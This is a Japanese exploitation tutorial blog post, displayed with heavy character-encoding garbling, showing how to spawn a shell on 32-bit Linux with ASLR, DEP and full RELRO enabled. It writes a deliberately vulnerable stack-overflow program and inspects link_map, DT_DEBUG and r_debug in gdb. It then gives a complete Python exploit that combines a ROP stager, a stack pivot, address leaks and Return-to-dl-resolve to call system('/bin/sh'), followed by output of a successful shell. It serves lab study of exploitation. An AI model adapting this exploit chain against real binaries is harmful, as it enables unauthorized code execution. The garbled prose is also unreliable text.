ãROP stager + Return-to-dl-resolveã«ããASLR+DEPåé¿ãã§ã¯ãlibcãã¤ããªã«ä¾åããªãå½¢ã§ASLR+DEPãæå¹ãªæ¡ä»¶ä¸ã«ãããã·ã§ã«èµ·åãè¡ã£ãã ããã§ã¯ãããã«RELROãæå¹ãªå ´åã«ã¤ãã¦ãDT_DEBUGã·ã³ãã«ãå©ç¨ããã·ã§ã«èµ·åããã£ã¦ã¿ãã
ç°å¢
Ubuntu 12.04 LTS 32bitç
$ uname -a Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.4 LTS Release: 12.04 Codename: precise $ gcc --version gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
èå¼±æ§ã®ããããã°ã©ã ãç¨æãã
ã¾ããã¹ã¿ãã¯ãããã¡ãªã¼ãã¼ããã¼ãèµ·ãããã³ã¼ããæ¸ãã ãã®ã³ã¼ãã¯ããROP stager + read/writeã«ããASLR+DEPåé¿ãã§ä½¿ã£ããã®ã¨åãã§ããã
/* bof.c */ #include <unistd.h> int main() { char buf[100]; int size; read(0, &size, 4); read(0, buf, size); write(1, buf, size); return 0; }
ãã®ã³ã¼ãã¯æåã«4ãã¤ãã®ãã¼ã¿é·ãèªã¿è¾¼ã¿ãç¶ããã¼ã¿ããã®ãã¼ã¿é·ã ãèªã¿è¾¼ãã å¾åºåããã
ASLRãDEPãRELROæå¹ãSSPç¡å¹ã§ã³ã³ãã¤ã«ãå®è¡ãã¦ã¿ãã
$ sudo sysctl -w kernel.randomize_va_space=2 kernel.randomize_va_space = 2 $ gcc -fno-stack-protector -Wl,-z,relro,-z,now bof.c $ echo -e "\x04\x00\x00\x00AAAA" | ./a.out AAAA
å®è¡æã«ãããPLTãGOTã»ã¯ã·ã§ã³ã®å 容ã調ã¹ã¦ã¿ã
Return-to-dl-resolveã§ã¯ãå®è¡æã«GOTã»ã¯ã·ã§ã³ã®å é ã«ã»ããããã_dl_runtime_resolveé¢æ°ã®ã¢ãã¬ã¹ãå©ç¨ãã¦ããã ããããlazy bindingãç¡å¹ãªå ´åãGOTã¢ãã¬ã¹ã®å¤ã¯å®è¡ç´å¾ã«è§£æ±ºããããã以é解決ããããã¨ã¯ãªãã ããã§ãgdbã使ããå®è¡æã«ãããPLTãGOTã»ã¯ã·ã§ã³ã®å 容ã調ã¹ã¦ã¿ãã
$ gdb -q a.out Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done. (gdb) start Temporary breakpoint 1 at 0x8048407 Starting program: /home/user/tmp/a.out Temporary breakpoint 1, 0x08048407 in main () (gdb) i files 0x08048300 - 0x08048350 is .plt 0x08049fe0 - 0x0804a000 is .got (gdb) x/4i 0x08048300 0x8048300: push DWORD PTR ds:0x8049fe4 0x8048306: jmp DWORD PTR ds:0x8049fe8 0x804830c: add BYTE PTR [eax],al 0x804830e: add BYTE PTR [eax],al (gdb) x/2wx 0x8049fe4 0x8049fe4 <_GLOBAL_OFFSET_TABLE_+4>: 0x00000000 0x00000000 (gdb) quit
ä¸ã®çµæãããPLTã»ã¯ã·ã§ã³ã¯RELROãç¡å¹ã®å ´åã¨å¤ãããªãããGOTã»ã¯ã·ã§ã³ã«_dl_runtime_resolveé¢æ°ã®ã¢ãã¬ã¹ãªã©ãã»ããããã¦ããªããã¨ããããã å®éã«glibcã®ã½ã¼ã¹ã³ã¼ãã調ã¹ã¦ã¿ãã¨ããããã®ã¢ãã¬ã¹ãã»ããããé¢æ°ã¯x86ã®å ´å次ã®ããã«ãªã£ã¦ããã
/* Set up the loaded object described by L so its unrelocated PLT entries will jump to the on-demand fixup code in dl-runtime.c. */ static inline int __attribute__ ((unused, always_inline)) elf_machine_runtime_setup (struct link_map *l, int lazy, int profile) { Elf32_Addr *got; extern void _dl_runtime_resolve (Elf32_Word) attribute_hidden; extern void _dl_runtime_profile (Elf32_Word) attribute_hidden; if (l->l_info[DT_JMPREL] && lazy) { /* The GOT entries for functions in the PLT have not yet been filled in. Their initial contents will arrange when called to push an offset into the .rel.plt section, push _GLOBAL_OFFSET_TABLE_[1], and then jump to _GLOBAL_OFFSET_TABLE[2]. */ got = (Elf32_Addr *) D_PTR (l, l_info[DT_PLTGOT]); /* If a library is prelinked but we have to relocate anyway, we have to be able to undo the prelinking of .got.plt. The prelinker saved us here address of .plt + 0x16. */ if (got[1]) { l->l_mach.plt = got[1] + l->l_addr; l->l_mach.gotplt = (Elf32_Addr) &got[3]; } got[1] = (Elf32_Addr) l; /* Identify this shared object. */ /* The got[2] entry contains the address of a function which gets called to get the address of a so far unresolved function and jump to it. The profiling extension of the dynamic linker allows to intercept the calls to collect information. In this case we don't store the address in the GOT so that all future calls also end in this function. */ if (__builtin_expect (profile, 0)) { got[2] = (Elf32_Addr) &_dl_runtime_profile; if (GLRO(dl_profile) != NULL && _dl_name_match_p (GLRO(dl_profile), l)) /* This is the object we are looking for. Say that we really want profiling and the timers are started. */ GL(dl_profile_map) = l; } else /* This function will get called to fix up the GOT entry indicated by the offset on the stack, and then jump to the resolved address. */ got[2] = (Elf32_Addr) &_dl_runtime_resolve; } return lazy; }
ä¸ã®ã³ã¼ããããå¤æ°lazyãfalseãããªãã¡é 延ãã¤ã³ããç¡å¹ãªå ´åãGOTã»ã¯ã·ã§ã³ã®2ã¯ã¼ãç®ã3ã¯ã¼ãç®ãã»ãããããªããã¨ããããã
GOTã»ã¯ã·ã§ã³ã«æ¸ãããã¢ãã¬ã¹ã®è©³ç´°ã調ã¹ã¦ã¿ã
ä¸æ¦RELROãç¡å¹ã«ãã¦ã³ã³ãã¤ã«ãç´ããGOTã»ã¯ã·ã§ã³ã®2ã¯ã¼ãç®ã3ã¯ã¼ãç®ã«å ¥ã£ã¦ããå¤ã«ã¤ãã¦èª¿ã¹ã¦ã¿ãã
$ gcc -fno-stack-protector bof.c $ gdb -q a.out Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done. (gdb) start Temporary breakpoint 1 at 0x8048407 Starting program: /home/user/tmp/a.out Temporary breakpoint 1, 0x08048407 in main () (gdb) i files 0x08048300 - 0x08048350 is .plt 0x08049ff4 - 0x0804a010 is .got.plt (gdb) x/4i 0x08048300 0x8048300: push DWORD PTR ds:0x8049ff8 0x8048306: jmp DWORD PTR ds:0x8049ffc 0x804830c: add BYTE PTR [eax],al 0x804830e: add BYTE PTR [eax],al (gdb) x/2wx 0x8049ff8 0x8049ff8 <_GLOBAL_OFFSET_TABLE_+4>: 0xb7fff918 0xb7ff26a0
ä¸ã®ã½ã¼ã¹ã³ã¼ãã¨æ¯è¼ããã¨ãä¸ã¤ç®ãã©ã¤ãã©ãªã®å¤å¥ã«ä½¿ãããlink_mapæ§é ä½ãäºã¤ç®ã_dl_runtime_resolveé¢æ°ã§ãããã¨ããããã link_mapæ§é ä½ã¯åã©ã¤ãã©ãªã®dynamicã»ã¯ã·ã§ã³ã®ã¢ãã¬ã¹ãªã©ãæ¸ãããæ§é ä½ã§ãããåæ¹åãªã¹ãã¨ãã¦ã©ã¤ãã©ãªãã¨ã®æ§é ä½ãåç §ãåã£ã¦ããã ã½ã¼ã¹ã³ã¼ãããå®ç¾©ã調ã¹ãã¨æ¬¡ã®ããã«ãªãã
/* Structure describing a loaded shared object. The `l_next' and `l_prev' members form a chain of all the shared objects loaded at startup. These data structures exist in space used by the run-time dynamic linker; modifying them may have disastrous results. */ struct link_map { /* These first few members are part of the protocol with the debugger. This is the same format used in SVR4. */ ElfW(Addr) l_addr; /* Base address shared object is loaded at. */ char *l_name; /* Absolute file name object was found in. */ ElfW(Dyn) *l_ld; /* Dynamic section of the shared object. */ struct link_map *l_next, *l_prev; /* Chain of loaded objects. */ };
å®éã«gdbã§å¯¾å¿ããå¤ã調ã¹ã¦ã¿ãã
(gdb) x/5wx 0xb7fff918 0xb7fff918: 0x00000000 0xb7ff7bc5 0x08049f28 0xb7fdd858 0xb7fff928: 0x00000000 (gdb) x/s 0xb7ff7bc5 0xb7ff7bc5: "" (gdb) x/wx 0x08049f28 0x8049f28 <_DYNAMIC>: 0x00000001 (gdb) x/5wx 0xb7fdd858 0xb7fdd858: 0xb7e29000 0xb7fdd838 0xb7fced7c 0xb7fff53c 0xb7fdd868: 0xb7fff918 (gdb) x/s 0xb7fdd838 0xb7fdd838: "/lib/i386-linux-gnu/libc.so.6" (gdb) x/5wx 0xb7fff53c 0xb7fff53c <_rtld_global+1308>: 0xb7fde000 0x08048154 0xb7ffef1c 0x00000000 0xb7fff54c <_rtld_global+1324>: 0xb7fdd858 (gdb) x/s 0x08048154 0x8048154: "/lib/ld-linux.so.2" (gdb) i proc map 0xb7e29000 0xb7fcd000 0x1a4000 0x0 /lib/i386-linux-gnu/libc-2.15.so 0xb7fde000 0xb7ffe000 0x20000 0x0 /lib/i386-linux-gnu/ld-2.15.so (gdb) i files 0xb7fced7c - 0xb7fcee6c is .dynamic in /lib/i386-linux-gnu/libc.so.6 0xb7ffef1c - 0xb7ffefd4 is .dynamic in /lib/ld-linux.so.2
ä¸ã®çµæãæ´çããã¨ã次ã®ããã«ãªãã
l_addr *l_name *l_ld *l_next *l_prev ---------- ---------- ---------- ---------- ---------- 0xb7fff918: 0x00000000 0xb7ff7bc5 0x08049f28 0xb7fdd858 0x00000000 link_map[0] "" .dynamic link_map[1] 0xb7fdd858: 0xb7e29000 0xb7fdd838 0xb7fced7c 0xb7fff53c 0xb7fff918 link_map[1] base address "libc.so.6" .dynamic link_map[2] link_map[0] 0xb7fdd858: 0xb7fde000 0x08048154 0xb7ffef1c 0x00000000 0xb7fdd858 link_map[2] base address "ld-linux.so.2" .dynamic link_map[1]
ãªã¹ãã®è¦ç´ ã¯ãããããå®è¡ãã¡ã¤ã«ãlibcãld-linuxï¼ãã¤ãããã¯ãªã³ã«ï¼ã«å¯¾å¿ãã¦ããã ãªãããã®ä¸¦ã³ã¯lddã³ãã³ãã表示ãããã®ã¨åãã§ããã
$ ldd a.out libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e4b000) /lib/ld-linux.so.2 (0x80000000)
ä¸æ¹ã_dl_runtime_resolveé¢æ°ã«ã¤ãã¦ã¯æ¬¡ã®ãããªé¢æ°ã¨ãªã£ã¦ããã
(gdb) x/20i 0xb7ff26a0 0xb7ff26a0: push eax 0xb7ff26a1: push ecx 0xb7ff26a2: push edx 0xb7ff26a3: mov edx,DWORD PTR [esp+0x10] 0xb7ff26a7: mov eax,DWORD PTR [esp+0xc] 0xb7ff26ab: call 0xb7fec1d0 0xb7ff26b0: pop edx 0xb7ff26b1: mov ecx,DWORD PTR [esp] 0xb7ff26b4: mov DWORD PTR [esp],eax 0xb7ff26b7: mov eax,DWORD PTR [esp+0x4] 0xb7ff26bb: ret 0xc ...
dynamicã»ã¯ã·ã§ã³ã«ã¤ãã¦èª¿ã¹ã¦ã¿ã
ããã¾ã§ã®å 容ãããlink_mapæ§é ä½ããåãã¡ã¤ã«ã®dynamicã»ã¯ã·ã§ã³ã®ã¢ãã¬ã¹ãå¾ããããã¨ãããã£ãã ããã§ãRELROãå度æå¹ã«ããreadelfã³ãã³ãã§å®è¡ãã¡ã¤ã«ã®dynamicã»ã¯ã·ã§ã³ã®å 容ã表示ãã¦ã¿ãã
$ gcc -fno-stack-protector -Wl,-z,relro,-z,now bof.c $ readelf -d a.out Dynamic section at offset 0xf08 contains 22 entries: Tag Type Name/Value 0x00000001 (NEEDED) Shared library: [libc.so.6] 0x0000000c (INIT) 0x80482d0 0x0000000d (FINI) 0x804851c 0x6ffffef5 (GNU_HASH) 0x80481ac 0x00000005 (STRTAB) 0x804822c 0x00000006 (SYMTAB) 0x80481cc 0x0000000a (STRSZ) 80 (bytes) 0x0000000b (SYMENT) 16 (bytes) 0x00000015 (DEBUG) 0x0 0x00000003 (PLTGOT) 0x8049fe0 0x00000002 (PLTRELSZ) 32 (bytes) 0x00000014 (PLTREL) REL 0x00000017 (JMPREL) 0x80482b0 0x00000011 (REL) 0x80482a8 0x00000012 (RELSZ) 8 (bytes) 0x00000013 (RELENT) 8 (bytes) 0x00000018 (BIND_NOW) 0x6ffffffb (FLAGS_1) Flags: NOW 0x6ffffffe (VERNEED) 0x8048288 0x6fffffff (VERNEEDNUM) 1 0x6ffffff0 (VERSYM) 0x804827c 0x00000000 (NULL) 0x0
ä¸ã®å 容ãè¦ãã¨ãdynamicã»ã¯ã·ã§ã³ããä»ã®ã»ã¯ã·ã§ã³ã®ã¢ãã¬ã¹ãå¾ããããã¨ããããã ããã§ãobjdumpã³ãã³ãã使ãdynamicã»ã¯ã·ã§ã³ã®ä¸èº«ããã¤ãåã¨ãã¦åºåããã¨æ¬¡ã®ããã«ãªãã
$ objdump -s -j.dynamic a.out a.out: file format elf32-i386 Contents of section .dynamic: 8049f08 01000000 10000000 0c000000 d0820408 ................ 8049f18 0d000000 1c850408 f5feff6f ac810408 ...........o.... 8049f28 05000000 2c820408 06000000 cc810408 ....,........... 8049f38 0a000000 50000000 0b000000 10000000 ....P........... 8049f48 15000000 00000000 03000000 e09f0408 ................ 8049f58 02000000 20000000 14000000 11000000 .... ........... 8049f68 17000000 b0820408 11000000 a8820408 ................ 8049f78 12000000 08000000 13000000 08000000 ................ 8049f88 18000000 00000000 fbffff6f 01000000 ...........o.... 8049f98 feffff6f 88820408 ffffff6f 01000000 ...o.......o.... 8049fa8 f0ffff6f 7c820408 00000000 00000000 ...o|........... 8049fb8 00000000 00000000 00000000 00000000 ................ 8049fc8 00000000 00000000 00000000 00000000 ................ 8049fd8 00000000 00000000 ........
readelfã³ãã³ãã®åºåã¨æ¯è¼ããã¨ãTagã¨Name/Valueã交äºã«ä¸¦ãã§ãããã¨ããããã å®éãdynamicã»ã¯ã·ã§ã³ã«ã¯Elf32_Dynæ§é ä½ã並ãã§ããããã®å®ç¾©ã¯æ¬¡ã®ããã«ãªã£ã¦ããã
/* Dynamic section entry. */ typedef struct { Elf32_Sword d_tag; /* Dynamic entry type */ union { Elf32_Word d_val; /* Integer value */ Elf32_Addr d_ptr; /* Address value */ } d_un; } Elf32_Dyn; /* Legal values for d_tag (dynamic entry type). */ #define DT_NULL 0 /* Marks end of dynamic section */ #define DT_NEEDED 1 /* Name of needed library */ #define DT_PLTGOT 3 /* Processor defined value */ #define DT_DEBUG 21 /* For debugging; unspecified */
ãªããlibcãªã©ã®å ±æã©ã¤ãã©ãªã®å ´åd_ptrã«ã¯ã¢ãã¬ã¹ã¨ãã¦ãã¡ã¤ã«å é ããã®ãªãã»ããå¤ãå ¥ãããå®è¡æã«å®éã®ã¢ãã¬ã¹ã«ç½®ãæããããã
ããã§ãDT_DEBUGã«çç®ãã¦ã¿ãã DT_DEBUG (0x15) ã¯gccãæ¨æºã§åãè¾¼ããããã°ç¨ã·ã³ãã«ã§ããã対å¿ããd_unå ±ç¨ä½ã«ã¯å®è¡æã«æ¬¡ã®r_debugæ§é ä½ãæãã¢ãã¬ã¹ãå ¥ãã
/* Rendezvous structure used by the run-time dynamic linker to communicate details of shared object loading to the debugger. If the executable's dynamic section has a DT_DEBUG element, the run-time linker sets that element's value to the address where this structure can be found. */ struct r_debug { int r_version; /* Version number for this protocol. */ struct link_map *r_map; /* Head of the chain of loaded objects. */ /* This is the address of a function internal to the run-time linker, that will always be called when the linker begins to map in a library or unmap it, and again when the mapping change is complete. The debugger can set a breakpoint at this address if it wants to notice shared object mapping changes. */ ElfW(Addr) r_brk; enum { /* This state value describes the mapping change taking place when the `r_brk' address is called. */ RT_CONSISTENT, /* Mapping change is complete. */ RT_ADD, /* Beginning to add a new object. */ RT_DELETE /* Beginning to remove an object mapping. */ } r_state; ElfW(Addr) r_ldbase; /* Base address the linker is loaded at. */ }; /* This is the instance of that structure used by the dynamic linker. */ extern struct r_debug _r_debug;
static void dl_main (const ElfW(Phdr) *phdr, ElfW(Word) phnum, ElfW(Addr) *user_entry, ElfW(auxv_t) *auxv) { (snip) /* Initialize _r_debug. */ struct r_debug *r = _dl_debug_initialize (GL(dl_rtld_map).l_addr, LM_ID_BASE); (snip) /* Set up debugging before the debugger is notified for the first time. */ #ifdef ELF_MACHINE_DEBUG_SETUP /* Some machines (e.g. MIPS) don't use DT_DEBUG in this way. */ ELF_MACHINE_DEBUG_SETUP (main_map, r); ELF_MACHINE_DEBUG_SETUP (&GL(dl_rtld_map), r); #else if (main_map->l_info[DT_DEBUG] != NULL) /* There is a DT_DEBUG entry in the dynamic section. Fill it in with the run-time address of the r_debug structure */ main_map->l_info[DT_DEBUG]->d_un.d_ptr = (ElfW(Addr)) r; /* Fill in the pointer in the dynamic linker's own dynamic section, in case you run gdb on the dynamic linker directly. */ if (GL(dl_rtld_map).l_info[DT_DEBUG] != NULL) GL(dl_rtld_map).l_info[DT_DEBUG]->d_un.d_ptr = (ElfW(Addr)) r; #endif (snip) }
ãã®æ§é ä½ã¯ãgdbãåçã«ãã¼ããããã©ã¤ãã©ãªã®æ å ±ãåå¾ãããããªã©ã«ä½¿ããã¦ããã
å®éã«ãgdbã§DT_DEBUG (0x15) ã«å¯¾å¿ããå¤ã確èªãã¦ã¿ãã
$ gdb -q a.out Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done. (gdb) start Temporary breakpoint 1 at 0x8048407 Starting program: /home/user/tmp/a.out Temporary breakpoint 1, 0x08048407 in main () (gdb) i files 0x08049f08 - 0x08049fe0 is .dynamic (gdb) x/60wx 0x08049f08 0x8049f08 <_DYNAMIC>: 0x00000001 0x00000010 0x0000000c 0x080482d0 0x8049f18 <_DYNAMIC+16>: 0x0000000d 0x0804851c 0x6ffffef5 0x080481ac 0x8049f28 <_DYNAMIC+32>: 0x00000005 0x0804822c 0x00000006 0x080481cc 0x8049f38 <_DYNAMIC+48>: 0x0000000a 0x00000050 0x0000000b 0x00000010 0x8049f48 <_DYNAMIC+64>: 0x00000015 0xb7fff904 0x00000003 0x08049fe0 0x8049f58 <_DYNAMIC+80>: 0x00000002 0x00000020 0x00000014 0x00000011 ... 0x8049fd8 <_DYNAMIC+208>: 0x00000000 0x00000000 0x08049f08 0x00000000 0x8049fe8 <_GLOBAL_OFFSET_TABLE_+8>: 0x00000000 0xb7f08210 0x00000000 0xb7e423e0 (gdb) x/5wx 0xb7fff904 0xb7fff904 <_r_debug>: 0x00000001 0xb7fff918 0xb7fed670 0x00000000 0xb7fff914 <_r_debug+16>: 0xb7fde000
ããã§ãr_debugæ§é ä½ã®r_mapã«0xb7fff918ãããªãã¡å®è¡ãã¡ã¤ã«ã®link_mapãå ¥ã£ã¦ãããã¨ããããã
以ä¸ãã¾ã¨ããã¨ã次ã®æµãã§link_mapæ§é ä½ããã³_dl_runtime_resolveé¢æ°ã®ã¢ãã¬ã¹ãå¾ããããã¨ããããã
- å®è¡ãã¡ã¤ã«ã®dynamicã»ã¯ã·ã§ã³ãããDT_DEBUGã«å¯¾å¿ããå¤ã¨ãã¦r_debugæ§é ä½ã®ã¢ãã¬ã¹ãå¾ã
- r_debugæ§é ä½ããlink_mapæ§é ä½ã®ã¢ãã¬ã¹ãå¾ã
- link_mapæ§é ä½ã®l_nextããã©ããé©å½ãªã©ã¤ãã©ãªï¼LIBï¼ã®link_mapæ§é ä½ãå¾ã
- LIBã®link_mapæ§é ä½ãããLIBã®dynamicã»ã¯ã·ã§ã³ã®ã¢ãã¬ã¹ãå¾ã
- LIBã®dynamicã»ã¯ã·ã§ã³ãããDT_GOTPLTã«å¯¾å¿ããå¤ã¨ãã¦LIBã®GOTã»ã¯ã·ã§ã³ã®ã¢ãã¬ã¹ãå¾ã
- LIBã®GOTã»ã¯ã·ã§ã³ããã3ã¯ã¼ãç®ã®å¤ã¨ãã¦_dl_runtime_resolveé¢æ°ã®ã¢ãã¬ã¹ãå¾ã
ããã§ãåã©ã¤ãã©ãªã®GOTã»ã¯ã·ã§ã³ã§åç §ããã_dl_runtime_resolveé¢æ°ã¯å ±éã¨ãªããããLIBã¯libcã§ãªãã¦ãããã
ãªããDT_DEBUGã·ã³ãã«ã¯gccã®ä»£ããã«clangã使ã£ãå ´åã§ãæ¨æºã§åãè¾¼ã¾ããstripã³ãã³ãã使ã£ã¦ãåé¤ãããªãã
$ clang -fno-stack-protector -Wl,-z,relro,-z,now bof.c $ readelf -d a.out 0x00000015 (DEBUG) 0x0 $ strip --strip-all a.out $ readelf -d a.out 0x00000015 (DEBUG) 0x0
ã¨ã¯ã¹ããã¤ãã³ã¼ããæ¸ãã¦ã¿ã
以ä¸ã®å 容ããã¨ã«ãã¨ã¯ã¹ããã¤ãã³ã¼ããæ¸ãã¨æ¬¡ã®ããã«ãªãã
# exploit.py import sys import struct from subprocess import Popen, PIPE bufsize = int(sys.argv[1]) addr_dynsym = 0x080481cc # readelf -S a.out addr_dynstr = 0x0804822c # readelf -S a.out addr_relplt = 0x080482b0 # readelf -S a.out addr_plt = 0x08048300 # readelf -S a.out addr_bss = 0x0804a008 # readelf -S a.out addr_plt_read = 0x8048310 # objdump -d -j.plt a.out addr_plt_write = 0x8048340 # objdump -d -j.plt a.out addr_dt_debug = 0x8049f4c # objdump -s -j.dynamic a.out (DT_DEBUG = 0x15) addr_pop3 = 0x080484cd # 0x080484cd: pop esi ; pop edi ; pop ebp ; ret ; (1 found) addr_pop_ebp = 0x080484cf # 0x08048433: pop ebp ; ret ; (3 found) addr_leave_ret = 0x08048401 # 0x08048461: leave ; ret ; (2 found) stack_size = 0x800 base_stage = addr_bss + stack_size size_bulkread = 0x100 buf1 = 'A' * bufsize buf1 += 'AAAA' * 3 buf1 += struct.pack('<I', addr_plt_read) buf1 += struct.pack('<I', addr_pop3) buf1 += struct.pack('<I', 0) buf1 += struct.pack('<I', base_stage) buf1 += struct.pack('<I', 1000) buf1 += struct.pack('<I', addr_pop_ebp) buf1 += struct.pack('<I', base_stage) buf1 += struct.pack('<I', addr_leave_ret) buf2 = 'AAAA' # read dt_debug addr_esp = base_stage + 4 buf2 += struct.pack('<I', addr_plt_write) buf2 += struct.pack('<I', addr_pop3) buf2 += struct.pack('<I', 1) buf2 += struct.pack('<I', addr_dt_debug) buf2 += struct.pack('<I', 4) buf2 += struct.pack('<I', addr_plt_read) buf2 += struct.pack('<I', addr_pop3) buf2 += struct.pack('<I', 0) buf2 += struct.pack('<I', addr_esp+52) buf2 += struct.pack('<I', 4) # read r_debug addr_esp += 40 buf2 += struct.pack('<I', addr_plt_write) buf2 += struct.pack('<I', addr_pop3) buf2 += struct.pack('<I', 1) buf2 += 'AAAA' # addr_r_debug buf2 += struct.pack('<I', 20) buf2 += struct.pack('<I', addr_plt_read) buf2 += struct.pack('<I', addr_pop3) buf2 += struct.pack('<I', 0) buf2 += struct.pack('<I', addr_esp+52) buf2 += struct.pack('<I', 4) # read link_map addr_esp += 40 buf2 += struct.pack('<I', addr_plt_write) buf2 += struct.pack('<I', addr_pop3) buf2 += struct.pack('<I', 1) buf2 += 'AAAA' # addr_link_map buf2 += struct.pack('<I', 20) buf2 += struct.pack('<I', addr_plt_read) buf2 += struct.pack('<I', addr_pop3) buf2 += struct.pack('<I', 0) buf2 += struct.pack('<I', addr_esp+52) buf2 += struct.pack('<I', 4) # read link_map_lib addr_esp += 40 buf2 += struct.pack('<I', addr_plt_write) buf2 += struct.pack('<I', addr_pop3) buf2 += struct.pack('<I', 1) buf2 += 'AAAA' # addr_link_map_lib buf2 += struct.pack('<I', 20) buf2 += struct.pack('<I', addr_plt_read) buf2 += struct.pack('<I', addr_pop3) buf2 += struct.pack('<I', 0) buf2 += struct.pack('<I', addr_esp+52) buf2 += struct.pack('<I', 4) # read lib_dynamic addr_esp += 40 buf2 += struct.pack('<I', addr_plt_write) buf2 += struct.pack('<I', addr_pop3) buf2 += struct.pack('<I', 1) buf2 += 'AAAA' # addr_lib_dynamic buf2 += struct.pack('<I', size_bulkread) buf2 += struct.pack('<I', addr_plt_read) buf2 += struct.pack('<I', addr_pop3) buf2 += struct.pack('<I', 0) buf2 += struct.pack('<I', addr_esp+52) buf2 += struct.pack('<I', 4) # read lib_gotplt addr_esp += 40 buf2 += struct.pack('<I', addr_plt_write) buf2 += struct.pack('<I', addr_pop3) buf2 += struct.pack('<I', 1) buf2 += 'AAAA' # addr_lib_gotplt buf2 += struct.pack('<I', 12) buf2 += struct.pack('<I', addr_plt_read) buf2 += struct.pack('<I', addr_pop3) buf2 += struct.pack('<I', 0) buf2 += struct.pack('<I', addr_esp+40) buf2 += struct.pack('<I', 8) # call dl_resolve addr_esp += 40 addr_reloc = addr_esp + 20 addr_sym = addr_reloc + 8 align_dynsym = 0x10 - ((addr_sym-addr_dynsym) & 0xF) addr_sym += align_dynsym addr_symstr = addr_sym + 16 addr_cmd = addr_symstr + 7 reloc_offset = addr_reloc - addr_relplt r_info = ((addr_sym - addr_dynsym) << 4) & ~0xFF | 0x7 st_name = addr_symstr - addr_dynstr buf2 += 'AAAA' # addr_dl_resolve buf2 += 'AAAA' # addr_link_map buf2 += struct.pack('<I', reloc_offset) buf2 += 'AAAA' buf2 += struct.pack('<I', addr_cmd) buf2 += struct.pack('<I', addr_bss) # Elf32_Rel buf2 += struct.pack('<I', r_info) buf2 += 'A' * align_dynsym buf2 += struct.pack('<I', st_name) # Elf32_Sym buf2 += struct.pack('<I', 0) buf2 += struct.pack('<I', 0) buf2 += struct.pack('<I', 0x12) buf2 += 'system\x00' buf2 += '/bin/sh <&2 >&2\x00' buf2 += 'A' * (100-len(buf2)) # execution part p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE) p.stdin.write(struct.pack('<I', len(buf1))) p.stdin.write(buf1) print "[+] read: %r" % p.stdout.read(len(buf1)) p.stdin.write(buf2) addr_r_debug = p.stdout.read(4) print "[+] addr_r_debug = %08x" % struct.unpack('<I', addr_r_debug)[0] p.stdin.write(addr_r_debug) addr_link_map = p.stdout.read(20)[4:8] print "[+] addr_link_map = %08x" % struct.unpack('<I', addr_link_map)[0] p.stdin.write(addr_link_map) addr_link_map_lib = p.stdout.read(20)[12:16] print "[+] addr_link_map_lib = %08x" % struct.unpack('<I', addr_link_map_lib)[0] p.stdin.write(addr_link_map_lib) addr_lib_dynamic = p.stdout.read(20)[8:12] print "[+] addr_lib_dynamic = %08x" % struct.unpack('<I', addr_lib_dynamic)[0] p.stdin.write(addr_lib_dynamic) lib_dynamic = p.stdout.read(size_bulkread) addr_lib_gotplt = lib_dynamic.split('\x03\x00\x00\x00')[1][:4] print "[+] addr_lib_gotplt = %08x" % struct.unpack('<I', addr_lib_gotplt)[0] p.stdin.write(addr_lib_gotplt) addr_dl_resolve = p.stdout.read(12)[8:12] print "[+] addr_dl_resolve = %08x" % struct.unpack('<I', addr_dl_resolve)[0] p.stdin.write(addr_dl_resolve + addr_link_map) p.wait()
ãã®ã³ã¼ãã¯ããªã¼ãã¼ããã¼ããããããã¡ãµã¤ãºãå¼æ°ã«åãã ã³ã¼ãã®å 容ã¨ãã¦ã¯ãROP stagerã§bssã»ã°ã¡ã³ãã«æ¸ãè¾¼ã¿stack pivotããå¾ãread/writeã使ã£ã¦é çªã«ãã¼ã¿ãèªã¿æ¸ããã¦ããã libcã®dynamicã»ã¯ã·ã§ã³ã«ã¤ãã¦ã¯ãå¤æ°size_bulkreadã«ã¦æå®ãããµã¤ãºï¼0x100ï¼ã ããã¼ã¿ãèªã¿è¾¼ãã å¾ãDT_GOTPLT (0x3) ã«å¯¾å¿ããå¤ãåãåºããã¨ã§GOTã»ã¯ã·ã§ã³ã®ã¢ãã¬ã¹ãå¾ãã ããã¦æå¾ã«ãå¾ãããlink_mapæ§é ä½ã¨_dl_runtime_resolveé¢æ°ã®ã¢ãã¬ã¹ããã¨ã«ãReturn-to-dl-resolveã«ã¦systemé¢æ°ãå¼ã³åºãã ããã§ã解決ããã©ã¤ãã©ãªé¢æ°ã®ã¢ãã¬ã¹ãæ¸ãè¾¼ã¾ããElf32_Relæ§é ä½ã®r_offsetã«ã¯ãGOTã¢ãã¬ã¹ã®ä»£ããã«bssã»ã¯ã·ã§ã³ãªã©æ¸ãè¾¼ã¿å¯è½ãªã¢ãã¬ã¹ãã»ããããã ããã¯RELROã«ããGOTã»ã¯ã·ã§ã³ãæ¸ãè¾¼ã¿ä¸å¯ã¨ãªã£ã¦ããããã§ããã
å¼æ°ãã»ãããå®è¡ããã¨æ¬¡ã®ããã«ãªãã
$ python exploit.py 100 [+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x83\x04\x08\xcd\x84\x04\x08\x00\x00\x00\x00\x08\xa8\x04\x08\xe8\x03\x00\x00\xcf\x84\x04\x08\x08\xa8\x04\x08\x01\x84\x04\x08' [+] addr_r_debug = b7730904 [+] addr_link_map = b7730918 [+] addr_link_map_lib = b770e858 [+] addr_lib_dynamic = b76ffd7c [+] addr_lib_gotplt = b76ffff4 [+] addr_dl_resolve = b77236a0 $ id uid=1000(user) gid=1000(user) groups=1000(user) $
ASLR+DEP+RELROãæå¹ãªæ¡ä»¶ä¸ã§ãlibcãã¤ããªã®æ å ±ãå©ç¨ãããã¨ãªãã·ã§ã«ãèµ·åã§ãã¦ãããã¨ã確èªã§ããã
è¿ãä½ç½®ã«ãããã¼ã¿ãã¾ã¨ãã¦èªã¿åºãã¦ã¿ã
